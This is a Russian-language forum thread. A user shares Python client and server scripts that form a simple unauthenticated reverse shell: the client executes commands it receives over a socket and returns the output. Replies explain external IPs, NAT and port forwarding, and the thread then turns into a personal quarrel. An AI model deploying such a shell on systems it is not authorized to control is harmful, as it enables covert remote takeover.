• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Бесплатный ВЕБИНАР по OSINT с Екатериной Тьюринг: ➡️9 февраля в 19:00 (мск) пройдет урок

    Как безопасно искать информацию в открытых источниках

    🔥 Записаться 🔥

Удаленное подключение (PYTHON)

  • Автор темы Автор темы teddy1337
  • Дата начала Дата начала

teddy1337

Green Team
22.10.2019
31
2
BIT
59
Есть код сервера и клиента. Все работает хорошо, но программа работает только по локальной сети. Если пытаюсь удаленно с другого города, то она не работает. Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно


Клиентская часть:
Python:
import subprocess
import socket
import os

def execute_command(command):
    return subprocess.check_output(command, shell=True)

connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect(('192.168.0.15', 8888))

while True:
    command = connection.recv(1024)
    command_result = execute_command(command)
    connection.send(command_result)

connection.close()

Серверная часть
Python:
import subprocess
import socket
import os
listner = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listner.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listner.bind(('192.168.0.15', 8888))
listner.listen(0)
print("[+] Waiting for connection")
connection, address = listner.accept()
print("[+] Connection established - " + str(address))

while True:
    command = raw_input("----> ")
    connection.send(command)
    result = connection.recv(1024)
    print(result)
 
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Как писали выше, нужен внешний айпишник, потом пробросить порт на роутере (у тебя TCP/8888) на свой локальный айпишник (у тебя 192.168.0.15).
Ну и в скрипте, который слушает, желательно поменять интерфейс на 0.0.0.0, чтобы избежать потенциальных проблем при изменении адреса.
Внешний айпишник можно посмотреть, например, тут:
 
Как писали выше, нужен внешний айпишник, потом пробросить порт на роутере (у тебя TCP/8888) на свой локальный айпишник (у тебя 192.168.0.15).
Ну и в скрипте, который слушает, желательно поменять интерфейс на 0.0.0.0, чтобы избежать потенциальных проблем при изменении адреса.
Внешний айпишник можно посмотреть, например, тут:
Как пробросить порт вот этого момента не понял
 
Вы уже совсем этого чувака запутали ))
  • Зачем ему пробрасывать порт ? Пусть подключается на порту 8888, если провайдер не блокирует этот порт.
  • Зачем ему ddns ? В этом случае ему весь скрипт придётся переписать.
  • Он не утверждает, что у его серверной части динамический IP. Может у него статика ?
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно

Ответ на твой вопрос очевиден.
Если для подключения тебе нужен только IP-адрес, то попросту замени адрес внутренней сети на внешний вот в этой строчке клиентской части.
connection.connect(('192.168.0.15', 8888))

А вообще лучше бы ты выложил логи подключения сервера и клиента. По логам проще будет определить твою проблему. Возможно, скрипт содержит ошибки.
Рекомендую ознакомиться со статьёй по адресу:
 
Всего то и надо: заплатить провайдеру и получить внешний IP адрес.
Внешний IP адрес оплачивать НЕ нужно. Адрес выдаётся каждому устройству при подключении к сети интернет.
Нужно оплачивать статический (то есть постоянный, не меняющийся со временем) внешний IP.
 
Адрес выдаётся каждому устройству при подключении к сети интернет.
Нет. Почитайте про NAT.

Внешний IP адрес оплачивать НЕ нужно.
Это зависит от провайдера.

Зачем ему пробрасывать порт ? Пусть подключается на порту 8888, если провайдер не блокирует этот порт.
Затем, что у большинства пользователей есть роутер.
 
Угу, всё верно:
  • у большинства пользователей имеются роутеры
  • провайдер выдаёт один адрес на ку4еву туча абонентов (это я про Network Address Translation)
Продолжу цепочку, чего уж останавливаться и тем самым демонстрировать скудность фантазии:
  1. не установлен и нтерпретатор языка Python на сервере или на клиенте
  2. перепутал сервер с клиентом
  3. не подключил компьютеры к сети
  4. руки не оттуда растут
  5. вместо мозга - карта сбербанка
  6. не настроил фаерволл
  7. кривой код
  8. и так далее...

Только всё это - ваши фантазии.

Это форум фант фазёров и или людей, считающих себя специалистами ?

 
Угу, всё верно:
  • у большинства пользователей имеются роутеры
  • провайдер выдаёт один адрес на ку4еву туча абонентов (это я про Network Address Translation)
Вы знаете, что у пользователя может быть роутер, но говорите, что порт пробрасывать не нужно.
Вы понимаете, что есть NAT, и куча клиентов получает один внешний айпишник, но говорите, что нужен только статический адрес, не говоря ничего, что нужен внешний (белый/маршрутизируемый) адрес.
Не видите противоречий?

Продолжу цепочку, чего уж останавливаться и тем самым демонстрировать скудность фантазии:
Не несите бред. Перечитайте ещё раз мой пост и нормально укажите, что именно там неправильно.
 
Перечитайте ещё раз мой пост и нормально укажите, что именно там неправильно.
Неправильными являются несколько "вещей".
Первая. Твоя фундаментальная и почему-то непоколебимая уверенность в собственной правоте.
Вторая. Неспособность критически мыслить. ВАЖНО: Критически по отношению к себе, а не окружающим.
Третья. Невнимательность. Предположу, что ты не математик. Ты домысливаешь и свои домыслы возводишь в ранг реальности. В частности, ты безосновательно предположил, что сервер находится за NAT, а также наличие ненастроенного роутера. Автор вопроса ни словом не обмолвился о том, что запускает серверную часть скрипта на домашней машине.
Вопрос был только о внешнем IP:
Не знаю какой ip надо вводить для сервера, чтобы ко мне могли подключиться удаленно
Почему бы тебе не предположить, что автор вопроса запускает сервер на арендованном VDS, который прямо глядит в интернет - ведь в этом случае все ваши (здесь имеется ввиду все предыдущие "помощники") ответы - просто пустые звуки.
Четвёртая - нежелание признать свои ошибки. Слабость.


P. S. Я тебе ничего не должен. В следующий раз постарайся быть вежливее. Свой полу-приказной тон оставь другим.
 
Последнее редактирование:
Первая. Твоя фундаментальная и почему-то непоколебимая уверенность в собственной правоте.

Вторая. Неспособность критически мыслить. ВАЖНО: Критически по отношению к себе, а не окружающим.

Четвёртая - нежелание признать свои ошибки. Слабость.
Столько текста и ни капли конструктива по теме. Только предположения и попытки унизить.
Я бы не просил указать на свои ошибки, если бы непоколебимо был уверен в своей правоте. Логично?


Третья. Невнимательность. Предположу, что ты не математик. Ты домысливаешь и свои домыслы возводишь в ранг реальности. В частности, ты безосновательно предположил, что сервер находится за NAT, а также наличие ненастроенного роутера. Автор вопроса ни словом не обмолвился о том, что запускает серверную часть скрипта на домашней машине.
У автора написано, что софт запускается в локалке. Будьте внимательнее :)
 
Это форум фант фазёров и или людей, считающих себя специалистами ?
Это форум компании Кодебай, на котором гости могут почитать полезные материалы, а участники обсудить темы, связанные с IT. Надеюсь нет сомнений в профессионализме команды Кодебай?
 
Это форум компании Кодебай, на котором гости могут почитать полезные материалы, а участники обсудить темы, связанные с IT. Надеюсь нет сомнений в профессионализме команды Кодебай?
Я реально не понимаю, зачем мне информация о том, чей это форум, кому он принадлежит. К профессионализму или непрофессионализму команды я вААще равнодушен. Зачем мне это знать ? Не смог устоять перед соблазном самоутверждения ?

А вот на тему "почитать" - по делу зацепил )
С тех пор, как вас припугнули блокировкой, читать гостям тут практически нечего. Впору писать статьи о вышивании крестиком или статьи на тему кулинарных рецептов.
Нет, ну конечно-же пишутся и на главной странице публикуются статьи. Только они какие-то мёртвые. Можете считать меня туповатым, но наслаждения от прочтения этих статей нет.
Наверное, эти статьи являются частью каких-то проектов, над которыми работают авторы. Другого разумного объяснения для их написания нет. Для гостей - это не чтиво.

The Codeby, а сколько усилий стоит тебе прочтение этих статей ?

 
Можете считать меня туповатым
А как можно по другому думать о человеке, которому несколько лет показывают на дверь, а он все возвращается на наш ужасный форум? Нужен хороший форум? Да не вопрос - берись и делай, а не сопли тут распускай.
@The Codeby, а сколько усилий стоит тебе прочтение этих статей ?
Не могу позволить себе такой роскоши, не читаю.
 
А как можно по другому думать о человеке, которому несколько лет показывают на дверь, а он все возвращается на наш ужасный форум? Нужен хороший форум? Да не вопрос - берись и делай, а не сопли тут распускай.
Это открытый форум. И не в твоей компетенции указывать мне какие ресурсы Интернета мне посещать. На дверь указывай своим прихвостням. Не тебе указывать, чем мне заниматься, а чем не заниматься. Корону на своей голове поправь.
Ужасным я этот форум никогда не называл - это очередные домыслы.
НУ, а сопли распускать ты мне повода не давал. Пусть мои сопли тебя не волнуют.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!